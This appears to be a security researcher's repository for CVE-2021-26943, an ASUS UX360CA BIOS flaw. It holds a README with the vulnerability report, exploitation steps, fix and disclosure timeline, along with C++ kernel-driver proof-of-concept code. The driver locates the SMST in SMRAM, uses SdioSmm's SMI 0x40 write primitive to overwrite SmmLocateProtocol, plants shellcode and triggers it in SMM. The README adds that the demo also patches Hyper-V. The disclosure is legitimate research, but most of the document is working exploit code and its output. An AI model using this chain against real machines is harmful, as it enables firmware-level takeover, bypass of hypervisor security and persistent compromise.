95 | status = m_Pm->Read(m_ScanBuffer, ScanBase + pageOffset, PAGE_SIZE);
96 | if (!NT_SUCCESS(status))
97 | {
98 | //
99 | // Noisy. Try the next segment.
100 | //
101 | //DEMO_ERROR("Read failed : %08x", status);
102 | break;
103 | }
104 |
105 | found = MemMem(m_ScanBuffer, PAGE_SIZE, Pattern, PatternLength, Alignment);
106 | if (found != nullptr)
107 | {
108 | ULONG64 byteOffset;
109 |
110 | byteOffset = reinterpret_cast(found) - reinterpret_cast(m_ScanBuffer);
111 | return ScanBase + pageOffset + byteOffset;
112 | }
113 | }
114 | return 0;
115 | }
116 |
117 | MemoryScanner::~MemoryScanner (
118 | )
119 | {
120 | if (m_ScanBuffer != nullptr)
121 | {
122 | ExFreePoolWithTag(m_ScanBuffer, k_PoolTag);
123 | }
124 | }
125 |
126 | static
127 | NTSTATUS
128 | FindSmmCorePrivateData (
129 | const MemoryScanner& Scanner,
130 | PULONG64 SmmcAddress
131 | )
132 | {
133 | //
134 | // Parse the registry entry and scan the physical memory ranges indicated by this.
135 | // Kudos to Alex Ionescu (@aionescu) for sharing this trick with me.
136 | //
137 | static UNICODE_STRING key =
138 | RTL_CONSTANT_STRING(L"\\REGISTRY\\MACHINE\\HARDWARE\\RESOURCEMAP\\System Resources\\Loader Reserved");
139 | static OBJECT_ATTRIBUTES attributes =
140 | RTL_CONSTANT_OBJECT_ATTRIBUTES(&key, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
141 | static UNICODE_STRING valueName = RTL_CONSTANT_STRING(L".Raw");
142 |
143 | NTSTATUS status;
144 | HANDLE keyHandle;
145 | PKEY_VALUE_FULL_INFORMATION buffer;
146 | ULONG resultLength;
147 | CM_RESOURCE_LIST* list;
148 |
149 | *SmmcAddress = 0;
150 | buffer = nullptr;
151 |
152 | status = ZwOpenKey(&keyHandle, KEY_ALL_ACCESS, &attributes);
153 | if (!NT_SUCCESS(status))
154 | {
155 | DEMO_ERROR("ZwOpenKey failed : %08x", status);
156 | goto Exit;
157 | }
158 |
159 | buffer = static_cast(
160 | ExAllocatePoolWithTag(PagedPool, PAGE_SIZE, k_PoolTag));
161 | if (buffer == nullptr)
162 | {
163 | DEMO_ERROR("Memory allocation failed : %lu", PAGE_SIZE);
164 | status = STATUS_INSUFFICIENT_RESOURCES;
165 | goto Exit;
166 | }
167 |
168 | status = ZwQueryValueKey(keyHandle,
169 | &valueName,
170 | KeyValueFullInformation,
171 | buffer,
172 | PAGE_SIZE,
173 | &resultLength);
174 | if (!NT_SUCCESS(status))
175 | {
176 | DEMO_ERROR("ZwQueryValueKey failed : %08x", status);
177 | goto Exit;
178 | }
179 |
180 | list = static_cast(Add2Ptr(buffer, buffer->DataOffset));
181 | for (ULONG64 i = 0; i < list->Count; ++i)
182 | {
183 | PCM_FULL_RESOURCE_DESCRIPTOR fullDescriptor;
184 |
185 | fullDescriptor = &list->List[i];
186 | for (ULONG64 j = 0; j < fullDescriptor->PartialResourceList.Count; ++j)
187 | {
188 | PCM_PARTIAL_RESOURCE_DESCRIPTOR partial;
189 | ULONG64 foundAddress;
190 |
191 | partial = &fullDescriptor->PartialResourceList.PartialDescriptors[j];
192 | if ((partial->Type != CmResourceTypeMemory) ||
193 | (partial->Flags != CM_RESOURCE_PORT_MEMORY))
194 | {
195 | DEMO_ERROR("Unexpected entry");
196 | continue;
197 | }
198 |
199 | static constexpr ULONG64 smmcSignature = 'cmms';
200 | foundAddress = Scanner.Scan(partial->u.Memory.Start.QuadPart,
201 | partial->u.Memory.Length,
202 | &smmcSignature,
203 | sizeof(smmcSignature),
204 | sizeof(smmcSignature));
205 | if (foundAddress != 0)
206 | {
207 | *SmmcAddress = foundAddress;
208 | status = STATUS_SUCCESS;
209 | goto Exit;
210 | }
211 | }
212 | }
213 |
214 | status = STATUS_NOT_FOUND;
215 |
216 | Exit:
217 | if (buffer != nullptr)
218 | {
219 | ExFreePoolWithTag(buffer, k_PoolTag);
220 | }
221 | if (keyHandle != nullptr)
222 | {
223 | ZwClose(keyHandle);
224 | }
225 | return status;
226 | }
227 |
228 | NTSTATUS
229 | FindSystemManagementServiceTable (
230 | const PhysicalMemory& Pm,
231 | PULONG64 SmstAddress
232 | )
233 | {
234 | NTSTATUS status;
235 | SMM_CORE_PRIVATE_DATA* smmcAddress;
236 | ULONG64 smstAddress;
237 | MemoryScanner scanner;
238 |
239 | status = scanner.Initialize(Pm);
240 | if (!NT_SUCCESS(status))
241 | {
242 | DEMO_ERROR("Initialize failed : %08x", status);
243 | goto Exit;
244 | }
245 |
246 | status = FindSmmCorePrivateData(scanner, reinterpret_cast(&smmcAddress));
247 | if (!NT_SUCCESS(status))
248 | {
249 | DEMO_ERROR("FindSmmCorePrivateData failed : %08x", status);
250 | goto Exit;
251 | }
252 | DEMO_INFO("SMM core found at 0x%llx in RT Code", smmcAddress);
253 |
254 | status = Pm.Read(&smstAddress,
255 | reinterpret_cast(&smmcAddress->Smst),
256 | sizeof(smstAddress));
257 | if (!NT_SUCCESS(status))
258 | {
259 | DEMO_ERROR("Read failed : %08x", status);
260 | goto Exit;
261 | }
262 |
263 | DEMO_INFO("SMST found at 0x%llx in SMRAM", smstAddress);
264 | *SmstAddress = smstAddress;
265 |
266 | Exit:
267 | return status;
268 | }
269 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SmmExploit
2 |
3 | This is a report and an exploit of [CVE-2021-26943](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26943), the kernel-to-SMM local privilege escalation vulnerability in ASUS UX360CA BIOS version 303. The issue was fixed in the [version 304](https://www.asus.com/supportonly/UX360CA/HelpDesk_BIOS/).
4 |
5 | # Issue Description
6 |
7 | ## Summary
8 |
9 | UX360CA BIOS version 303 has 3 vulnerable modules that allow an attacker with the ring0 privilege to overwrite nearly arbitrary physical memory including SMRAM and execute arbitrary code in SMM.
10 |
11 | Those modules can be identified as follows:
12 |
13 | | Name | GUID | SHA256 |
14 | |---------|--------------------------------------|------------------------------------------------------------------|
15 | | UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
16 | | SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
17 | | NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |
18 |
19 | Those modules are from AMI (BIOS vendor) and may present in other OEM's BIOS.
20 |
21 | ## Vulnerabilities
22 |
23 | The vulnerable modules and corresponding SMIs are: UsbRt (0x31), SdioSmm (0x40), and NvmeSmm (0x42). All of those SMI handlers read physical memory address 0x40E to get an address to work on and write one byte to the address in case of error, even if it is SMRAM.
24 |
25 | For example, SdioSmm's SMI handler looks as follows:
26 | ```cpp
27 | EFI_STATUS
28 | EFIAPI
29 | SdioSmm_SwSmi_40h(
30 | EFI_HANDLE DispatchHandle,
31 | CONST VOID *Context,
32 | VOID *CommBuffer,
33 | UINTN *CommBufferSize
34 | )
35 | {
36 | // ...
37 | struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
38 | if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
39 | || userControlled->Offset0_FunctionCode >= 4 )
40 | {
41 | userControlled->Offset2 = 7;
42 | }
43 | else
44 | {
45 | // ...
46 | }
47 | return EFI_SUCCESS;
48 | }
49 | ```
50 |
51 | This issue appears to be identical with INTEL-SA-00057, which is greatly described as [Aptiocalypsis](https://github.com/Cr4sh/Aptiocalypsis). The BIOS version 303 for UX360CA, however, does not include fixes for them.
52 |
53 | ## Exploitation
54 |
55 | This allows an attacker with write access to physical memory and the OUT instruction (ie, the ring0 privileges) to overwrite contents of SMRAM with the following steps:
56 | 1. Make sure physical address 0x40e is zero (which is most likely the case already)
57 | 2. Write an address of SMRAM, say 0x88400000, at physical address 0x104
58 | 3. Issue the SMI 0x40
59 | 4. 0x88400000+2 is updated with 0x7.
60 |
61 | This can be used to achieve arbitrary code execution in SMM as follows:
62 | 1. Find the address of the System Management Service Table (SMST) in SMRAM, with the below steps:
63 | 1. Get a physical address range for UEFI runtime code from the contents of the `.Raw` value in `HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved`
64 | 2. Find the address of SMM_CORE_PRIVATE_DATA by scanning the 'smmc' signature from the address range.
65 | 3. SMM_CORE_PRIVATE_DATA has the pointer to the SMST at offset 30h
66 | 2. Overwrite the pointer to the SmmLocateProtocol function at offset d0h of the SMST using the above write primitive. The value is updated to 0x07070707.
67 | 3. Write shellcode at physical memory 0x07070707
68 | 4. Trigger another SMI that calls the Smst->SmmLocateProtocol, such as SMI 0xdf. The shellcode at 0x07070707 is executed in SMM.
69 |
70 | Arbitrary code execution in SMM would let an attacker bypass security measures by kernel and hypervisor such as HVCI as demonstrated in [another SMM vulnerability report](https://dannyodler.medium.com/attacking-the-golden-ring-on-amd-mini-pc-b7bfb217b437) and establish persistence by updating contents of the SPI flash (BIOS).
71 |
72 | ## Proof of Concept (PoC)
73 |
74 | The attached demo project demonstrates successful exploitation and dumps contents of MSRs that are only accessible in SMM and the physical address of the EPTP. It also modifies Hyper-V hypervisor's CPUID VM-exit handling code to return an altered hypervisor vendor string.
75 |
76 | The PoC is tested on Windows build 18362.1256, with and without HVCI enabled.
77 |
78 | Recoding of successful exploitation can be found at [YouTube](https://youtu.be/jZWzBF8LKzM).
79 | 
80 |
81 | ### Test Instructions
82 |
83 | 1. Open the demo.sln in Visual Studio 2019
84 | 2. Build the solution for Debug or Release build
85 | 3. Copy the compiled demo.sys into the target system (say, C:\users\user\desktop\demo.sys)
86 |
87 | On the target system,
88 | 1. Disable secure boot from BIOS, and reboot
89 | 2. Enable the test signing mode, and reboot
90 | ```
91 | > bcdedit /set testsigning on
92 | ```
93 | 3. Create the service to load the demo.sys
94 | ```
95 | > sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
96 | ```
97 | 4. Start [DebugView](https://docs.microsoft.com/en-us/sysinternals/downloads/debugview) and enable "Capture Kernel" from the "Capture" menu.
98 | 5. Start the demo
99 | ```
100 | > sc start demo
101 | ```
102 | 6. If successful, DebugView will show values of SMM related MSRs.
103 | ```
104 | [+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
105 | [-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
106 | [+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
107 | [+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
108 | [+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
109 | [+] ExploitSmm: Placed SMM shell code
110 | [+] ExploitSmm: Triggered SMM exploit
111 | [+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000
112 | [+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
113 | [+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000
114 | [+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e
115 | [+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0
116 | [+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
117 | DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
118 | ```
119 | 7. If Hyper-V is running and code modification was successful, CPUID 0x4000000 will return the modified hypervisor vendor string `Hv Tampered!`.
120 | ```
121 | > CheckHvVendor.exe
122 | Executing CPUID(0x40000000) on CPU 0
123 | Result: Hv Tampered!
124 | Executing CPUID(0x40000000) on CPU 1
125 | Result: Hv Tampered!
126 | Executing CPUID(0x40000000) on CPU 2
127 | Result: Hv Tampered!
128 | Executing CPUID(0x40000000) on CPU 3
129 | Result: Hv Tampered!
130 | ```
131 |
132 | # Resolution
133 |
134 | The fix is to avoid using the user-controlled contents at all when it points inside SMRAM, as shown below.
135 |
136 | ```cpp
137 | {
138 | // ...
139 | struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
140 | if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
141 | {
142 | if (userControlled->Offset0_FunctionCode < 7 )
143 | {
144 | // ...
145 | }
146 | else
147 | {
148 | userControlled->Offset2 = 7;
149 | }
150 | }
151 | return EFI_SUCCESS;
152 | }
153 | ```
154 |
155 | ## Considerations
156 |
157 | ### Missing protection for hypervisor
158 |
159 | The fix perfectly follows the current industry best practice and prevents the confused deputy attack that leads to SMRAM corruption.
160 |
161 | Notice that it does not take account of hypervisor memory regions, however. An attacker with knowledge of the physical memory address where the hypervisor is loaded or uses could still request the SMI to overwrite hypervisor code or data and achieve the hypervisor corruption.
162 |
163 | This is a prevalent, long-existed, and even design-level issue.
164 |
165 | ### Lack of defense-in-depth
166 |
167 | The reported issues were resolved, but there were some problems in terms of exercising the defense-in-depth strategy.
168 |
169 | For example, the SMM page table is identity-mapping with full readable, writable, and executable permissions, and the `SMM_Code_Chk_En` feature was unavailable. Those made exploitation trivial. I also notice SMM communication buffer is not verified with `SmmIsBufferOutsideSmmValid()` [as found in EDK2](https://github.com/tianocore/edk2/blob/stable/202011/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c#L701), although I did not find an exploitable SMI.
170 |
171 | I believe those are common issues across OEMs and many BIOS versions. I call out that if you are on old models from any OEMs, that BIOS is unlikely as secure as you might wish even with their latest BIOS versions.
172 |
173 | ### Improvements
174 |
175 | Those problems will not go away anytime very soon, but I am excited to see that the industry is working on an architectural resolution by reducing the SMM privileges. Here is some of those work and articles you can check out:
176 | - Platform Runtime Mechanism (PRM)
177 | - [Presentation (Open-Source Firmware Conference 2020)](https://cfp.osfc.io/osfc2020/talk/MCJASB/)
178 | - [Specification (uefi.org)](https://uefi.org/sites/default/files/resources/Platform%20Runtime%20Mechanism%20-%20with%20legal%20notice.pdf)
179 | - [Implementation (edk2-staging)](https://github.com/tianocore/edk2-staging/tree/PlatformRuntimeMechanism)
180 | - [System Management Mode deep dive: How SMM isolation hardens the platform](
181 | https://www.microsoft.com/security/blog/2020/11/12/system-management-mode-deep-dive-how-smm-isolation-hardens-the-platform/)
182 | - [System requirements for System Guard](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-system-guard/system-guard-secure-launch-and-smm-protection#system-requirements-for-system-guard)
183 |
184 | ## Timeline
185 |
186 | Here is some highlights.
187 | - 2020-12-31 - I reported the vulnerability
188 | - 2021-01-05 - ASUS acknowledged the report
189 | - 2021-01-18 - ASUS sent me the fixed version of BIOS for testing
190 | - 2021-01-20 - I confirmed the fix and replied back
191 | - 2021-01-25 - ASUS acknowledged my reply
192 | - 2021-03-21 - ASUS publicized the fix, [version 304](https://www.asus.com/supportonly/UX360CA/HelpDesk_BIOS/)
193 | - 2021-03-29 - ASUS issued an [advisory entry](https://www.asus.com/content/ASUS-Product-Security-Advisory/) for CVE-2021-26943
194 |
195 | Finally, big thanks to the ASUS teams for keeping the communication loop close and transparent❤ The overall process was not fast but rather frustration-free.
196 |
--------------------------------------------------------------------------------
/Demo/Demo/Demo.cpp:
--------------------------------------------------------------------------------
1 | #include "Demo.hpp"
2 | #include "PhysicalMemory.hpp"
3 | #include "SmmShellCode.hpp"
4 |
5 | #if !defined(POOL_ZERO_DOWN_LEVEL_SUPPORT) || !defined(POOL_NX_OPTIN)
6 | #error POOL_ZERO_DOWN_LEVEL_SUPPORT and/or POOL_NX_OPTIN undefined.
7 | #endif
8 |
9 | EXTERN_C DRIVER_INITIALIZE DriverEntry;
10 |
11 | NTSTATUS
12 | FindSystemManagementServiceTable (
13 | const PhysicalMemory& Pm,
14 | PULONG64 SmstAddress
15 | );
16 |
17 | static
18 | NTSTATUS
19 | SetSmmWriteDestination (
20 | const PhysicalMemory& Pm,
21 | ULONG64 AddressToWrite
22 | )
23 | {
24 | AddressToWrite -= 2;
25 | return Pm.Write(0x104, &AddressToWrite, sizeof(AddressToWrite));
26 | }
27 |
28 | static
29 | void
30 | ExecuteWrite07WithSmm (
31 | )
32 | {
33 | __outbyte(0xb2, 0x40); // SdioSmm
34 | }
35 |
36 | static
37 | NTSTATUS
38 | Write07070707WithSmm (
39 | const PhysicalMemory& Pm,
40 | ULONG64 AddressToWrite
41 | )
42 | {
43 | NTSTATUS status;
44 |
45 | for (ULONG64 offset = 0; offset < 4; ++offset)
46 | {
47 | status = SetSmmWriteDestination(Pm, AddressToWrite + offset);
48 | if (!NT_SUCCESS(status))
49 | {
50 | DEMO_ERROR("SetSmmWriteDestination failed : %08x", status);
51 | goto Exit;
52 | }
53 | ExecuteWrite07WithSmm();
54 | }
55 |
56 | Exit:
57 | return status;
58 | }
59 |
60 | static
61 | NTSTATUS
62 | PatchSmstSmmLocateProtocolAddress (
63 | const PhysicalMemory& Pm
64 | )
65 | {
66 | NTSTATUS status;
67 | EFI_SMM_SYSTEM_TABLE2* smst;
68 |
69 | //
70 | // Find the address of SMST
71 | //
72 | status = FindSystemManagementServiceTable(Pm, reinterpret_cast(&smst));
73 | if (!NT_SUCCESS(status))
74 | {
75 | DEMO_ERROR("FindSystemManagementServiceTable failed : %08x", status);
76 | goto Exit;
77 | }
78 |
79 | //
80 | // Patch contents of SMST->SmmLocateProtocol to 0x07070707
81 | //
82 | status = Write07070707WithSmm(Pm, reinterpret_cast(&smst->SmmLocateProtocol));
83 | if (!NT_SUCCESS(status))
84 | {
85 | DEMO_ERROR("Write07070707WithSmm failed : %08x", status);
86 | goto Exit;
87 | }
88 |
89 | Exit:
90 | return status;
91 | }
92 |
93 | static
94 | NTSTATUS
95 | ExecuteShellCode (
96 | )
97 | {
98 | KAFFINITY previousAffinity;
99 |
100 | //
101 | // Execute shellcode by triggering SMI for OA3_SMM, which unconditionally
102 | // calls SmmLocateProtocol.
103 | //
104 | // On a multi-core system, it is important to trigger this SMI from BSP (CPU#0)
105 | // to ensure the shellcode can collect the EPT pointer. Otherwise, this SMI may
106 | // be executed on an AP, and the shellcode will be executed on the BSP which
107 | // may be VMX root-operation where the EPT pointer is not stored in the state
108 | // save area.
109 | //
110 | previousAffinity = KeSetSystemAffinityThreadEx(static_cast(1));
111 | __outbyte(0xb2, 0xdf);
112 | KeRevertToUserAffinityThreadEx(previousAffinity);
113 | return STATUS_SUCCESS;
114 | }
115 |
116 | static
117 | NTSTATUS
118 | DumpSmmExploitOutput (
119 | const PhysicalMemory& Pm
120 | )
121 | {
122 | NTSTATUS status;
123 | HOOKED_SMM_LOCATE_PROTOCOL_PARAMETER_BLOCK block;
124 |
125 | status = Pm.Read(&block, 0, sizeof(block));
126 | if (!NT_SUCCESS(status))
127 | {
128 | DEMO_ERROR("Read failed : %08x", status);
129 | goto Exit;
130 | }
131 |
132 | if (block.Smbase == 0)
133 | {
134 | DEMO_ERROR("Shell code did not run??");
135 | status = STATUS_UNSUCCESSFUL;
136 | goto Exit;
137 | }
138 |
139 | DEMO_INFO("IA32_SMBASE = 0x%llx", block.Smbase);
140 | DEMO_INFO("MSR_SMM_FEATURE_CONTROL = 0x%llx", block.SmmFeatureControl);
141 | DEMO_INFO("MSR_SMM_MCA_CAP = 0x%llx", block.SmmMcaCap);
142 | if (block.Eptp == 0)
143 | {
144 | DEMO_INFO("EPT pointer = Not available");
145 | DEMO_INFO("Patched Hv address = Not available");
146 | }
147 | else
148 | {
149 | DEMO_INFO("EPT pointer = 0x%llx", block.Eptp);
150 | DEMO_INFO("Patched Hv address = 0x%llx", block.HvPatchedAddress);
151 | }
152 |
153 | Exit:
154 | return status;
155 | }
156 |
157 | static
158 | NTSTATUS
159 | ExploitSmm (
160 | const PhysicalMemory& Pm
161 | )
162 | {
163 | NTSTATUS status;
164 | SmmShellCode shellcode;
165 |
166 | //
167 | // (1) Find the address of the System Management Service Table (SMST) in SMRAM
168 | // (2) Overwrite the pointer to the SmmLocateProtocol function
169 | //
170 | status = PatchSmstSmmLocateProtocolAddress(Pm);
171 | if (!NT_SUCCESS(status))
172 | {
173 | DEMO_ERROR("PatchSmstSmmLocateProtocolAddress failed : %08x", status);
174 | goto Exit;
175 | }
176 | DEMO_INFO("Patched SMST->SmmLocateProtocol in SMRAM");
177 |
178 | //
179 | // (3) Write shellcode at physical memory 0x07070707
180 | //
181 | status = shellcode.Install(Pm);
182 | if (!NT_SUCCESS(status))
183 | {
184 | DEMO_ERROR("SmmShellCode::Install failed : %08x", status);
185 | goto Exit;
186 | }
187 | DEMO_INFO("Placed SMM shell code");
188 |
189 | //
190 | // (4) Trigger another SMI that calls the Smst->SmmLocateProtocol
191 | //
192 | status = ExecuteShellCode();
193 | if (!NT_SUCCESS(status))
194 | {
195 | DEMO_ERROR("ExecuteShellCode failed : %08x", status);
196 | goto Exit;
197 | }
198 | DEMO_INFO("Triggered SMM exploit");
199 |
200 | //
201 | // Display results of shellcode
202 | //
203 | status = DumpSmmExploitOutput(Pm);
204 | if (!NT_SUCCESS(status))
205 | {
206 | DEMO_ERROR("DumpSmmExploitOutput failed : %08x", status);
207 | goto Exit;
208 | }
209 |
210 | DEMO_INFO("Successfully executed shell code in SMM. Failing DriverEntry to unload itself");
211 |
212 | Exit:
213 | return status;
214 | }
215 |
216 | static
217 | ULONG64
218 | GetPciConfigAddress (
219 | ULONG64 PciConfigBase,
220 | ULONG64 Bus,
221 | ULONG64 Device,
222 | ULONG64 Function
223 | )
224 | {
225 | NT_ASSERT((Bus <= 0xff) && (Device <= 0x1f) && (Function <= 0x7));
226 | return PciConfigBase + (Bus << 20) + (Device << 15) + (Function << 12);
227 | }
228 |
229 | static
230 | void
231 | ReportSmramRange (
232 | const PhysicalMemory& Pm
233 | )
234 | {
235 | NTSTATUS status;
236 | UCHAR mcfgTable[60];
237 | ULONG64 pciConfigBaseAddr;
238 | ULONG64 hostBridgeConfigBaseAddr;
239 | ULONG32 bgsm;
240 | ULONG32 tsegmb;
241 | ULONG32 smramBase;
242 | ULONG32 smramSize;
243 |
244 | //
245 | // Get the "MCFG" ACPI table as defined in the "PCI Firmware Specification".
246 | //
247 | status = ExGetSystemFirmwareTable('ACPI', 'GFCM', mcfgTable, sizeof(mcfgTable), nullptr);
248 | if (!NT_SUCCESS(status))
249 | {
250 | DEMO_ERROR("ExGetSystemFirmwareTable failed : %08x", status);
251 | goto Exit;
252 | }
253 |
254 | //
255 | // Need those two values in the host bridge controller at B0:D0:F0.
256 | // - 3.35 Base of GTT stolen Memory (BGSM) - Offset B4h
257 | // - 3.36 TSEG Memory Base (TSEGMB) - Offset B8h
258 | // First, compute the address of PCI config space via the MCFG table, then
259 | // read them.
260 | //
261 | pciConfigBaseAddr = *reinterpret_cast(mcfgTable + 0x2c);
262 | hostBridgeConfigBaseAddr = GetPciConfigAddress(pciConfigBaseAddr, 0, 0, 0);
263 |
264 | status = Pm.Read(&bgsm, hostBridgeConfigBaseAddr + 0xb4, sizeof(bgsm));
265 | if (!NT_SUCCESS(status))
266 | {
267 | DEMO_ERROR("Read failed : %08x", status);
268 | goto Exit;
269 | }
270 | status = Pm.Read(&tsegmb, hostBridgeConfigBaseAddr + 0xb8, sizeof(tsegmb));
271 | if (!NT_SUCCESS(status))
272 | {
273 | DEMO_ERROR("Read failed : %08x", status);
274 | goto Exit;
275 | }
276 |
277 | //
278 | // "When the extended SMRAM space is enabled, processor accesses to the TSEG range
279 | // without SMM attribute or without WB attribute are handled by the processor as invalid
280 | // accesses.
281 | // Non-processor originated accesses are not allowed to SMM space. PCI-Express, DMI,
282 | // and Internal Graphics originated cycles to enabled SMM space are handled as invalid
283 | // cycle type with reads and writes to location C_0000h and byte enables turned off for
284 | // writes."
285 | //
286 | // 2.5.3 TSEG
287 | //
288 | smramBase = (tsegmb & 0xfff00000);
289 | smramSize = ((bgsm & 0xfff00000) - (tsegmb & 0xfff00000));
290 | DEMO_INFO("TSEG implied SMRAM: 0x%lx - 0x%lx", smramBase, smramBase + smramSize);
291 |
292 | //
293 | // Attempt to read SMRR MSRs and compute SMRAM range from them.
294 | //
295 | __try
296 | {
297 | ULONG64 smrrBase;
298 | ULONG64 smrrMask;
299 |
300 | smrrBase = __readmsr(0x1f2);
301 | smrrMask = __readmsr(0x1f3);
302 |
303 | smramBase = (smrrBase & (smrrMask & 0xfffff000));
304 | smramSize = (~(smrrMask & 0xfffff000) + 1);
305 | DEMO_INFO("SMRR implied SMRAM: 0x%lx - 0x%lx ", smramBase, smramBase + smramSize);
306 | }
307 | __except (EXCEPTION_EXECUTE_HANDLER)
308 | {
309 | DEMO_ERROR("Exception occurred while accessing SMRR MSR : %08x", GetExceptionCode());
310 | }
311 |
312 | Exit:
313 | return;
314 | }
315 |
316 | EXTERN_C
317 | NTSTATUS
318 | DriverEntry (
319 | PDRIVER_OBJECT DriverObject,
320 | PUNICODE_STRING RegistryPath
321 | )
322 | {
323 | NTSTATUS status;
324 | PhysicalMemory pm;
325 |
326 | UNREFERENCED_PARAMETER(DriverObject);
327 | UNREFERENCED_PARAMETER(RegistryPath);
328 |
329 | //
330 | // Break into the debugger only if attached, with a Debug build.
331 | //
332 | if (KdDebuggerNotPresent == FALSE)
333 | {
334 | KdBreakPoint();
335 | }
336 |
337 | ExInitializeDriverRuntime(DrvRtPoolNxOptIn);
338 |
339 | //
340 | // Initialize the interface to access physical memory.
341 | //
342 | status = pm.Initialize();
343 | if (!NT_SUCCESS(status))
344 | {
345 | DEMO_ERROR("PhysicalMemory::Initialize failed : %08x", status);
346 | goto Exit;
347 | }
348 |
349 | ReportSmramRange(pm);
350 |
351 | //
352 | // Exploit the vulnerability.
353 | //
354 | status = ExploitSmm(pm);
355 | if (!NT_SUCCESS(status))
356 | {
357 | DEMO_ERROR("ExploitSmm failed : %08x", status);
358 | goto Exit;
359 | }
360 |
361 | status = STATUS_CANCELLED;
362 |
363 | Exit:
364 | return status;
365 | }
366 |
--------------------------------------------------------------------------------